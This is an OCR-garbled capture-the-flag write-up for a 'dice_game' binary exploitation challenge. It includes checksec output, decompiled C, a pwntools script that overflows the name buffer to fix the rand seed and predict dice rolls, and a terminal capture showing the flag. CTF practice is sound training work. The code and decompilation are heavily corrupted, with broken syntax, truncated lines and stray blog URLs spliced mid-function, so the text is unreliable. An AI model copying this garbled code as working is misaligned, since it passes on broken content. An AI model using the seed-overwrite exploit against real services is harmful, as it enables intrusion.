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2.checksec

wj@ubuntu:~/ -e_game$ checksec dice_game

[*] '/home/1lw]j/De p/dice_game/dice_game'
Arch: amd64-64-1ittle
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NX:
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wj@ubuntu:~/Deskt
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3.IDAS

|_inted sub_A26()
{
__int64 result; // rax
__intle wl; // [rsp+Ch] [rbp-4h]

__int16 w2; // [rsp+Eh] [rbp-2h]

printf("Give me the point(l~6): ");
fflush(stdout);
_isec99_scanf("%hd", &v1);

if (vl »@ && vl <=6 )

I

Ko = randi) %6 + 1'; p |
if (vie=0 [[VI>6 || v2ie=0 || vZ>6)
assert fail1{"{point>=1 && point<=6% && (sPoint»=1 && sPoint<=61".

"dice came.c".

Bx18u.

"dice came™’:


https://blog.csdn.net/MrTreebook
https://blog.csdn.net/mrtreebook/category_11421179.html
https://so.csdn.net/so/search/s.do?q=pwn&t=blog&o=vip&s=&l=&f=&viparticle=
https://blog.csdn.net/MrTreebook/article/details/122013175
https://blog.csdn.net/mrtreebook/category_11421179.html
https://www.lanzouw.com/iWfJdxqgyyd

(vl == wv2)

puts("You win."};

result = 1LL;

1

else

{
puts({"You lost.™);
result = @LL;

}

1

else

{
puts("Invalid value!™);
result = @LL;

}

return result;

}
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printf({"Welcome, let me know your name: ");
fflush(stdout);
ve = rgad(@, bufl Bx58uLl);
if ( ve <= 49 )
buf[ve - 1] = @;
printf({"Hi, ¥s. Let's play a game.\n", buf};
fflush({stdout);
srand(se=d[@]);
veg = 1;
vs = 8;
while { 1 )
1
printf("Game *d/5@\n", v3);
vS = sub_A28();
fflush({stdout);
if (wvs I=1)
break;
if ( ws )
{
if ( v8 == 58 )
e
sub_B28(buf);
break;
1
+Hvid;
1
}
puts("Bye bye!™);
return @LL:
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int _ fastcall sub_B28(const char *al)

i
char s[184]; // [rsp+18h] [rbp-78h] BYREF
FILE *stream; // [rsp+78h] [rbp-8h]

printf("Congrats ¥s\n", al);
stream = fopen("flag”, "r");
fgets(s, 108, stream);
puts(s);

return fflush{stdout);
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from pwn import *
from ctypes import *
libc=cdll.LoadlLibrary("/1ib/x86_64-1inux-gnu/libc.so0.6"
libc.srand(1
sh=process('./a’
# sh=remote('124.126.19.106"', '30741")
payload="a"'*0x40+p64(1
sh.recvuntil('Welcome, let me know your name:
sh.sendline(payload
for i in range(50
sh.recvuntil('Give me the point(1~6):
sh.sendline(str(libc.rand()%6+1

sh.recv

Iwj@ubuntu: ~/Desktop/dice_game

File Edit View Search Terminal Help
43/50
me the point(1~6):
44/50
vive me the point(1~6):
Rhythmbox
i me the point(1l~6):
46/50
me the point(1~6):
47/50
me the point(1~6):
48/50
me the point(1~6):
49/50
me the point(1~6):
50/50
me the point(1~6):
Switching to interactive mode
ou win.
ongrats aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
yberpeace{®b3199b14d32bd023cbd4eBbcedcbacy}
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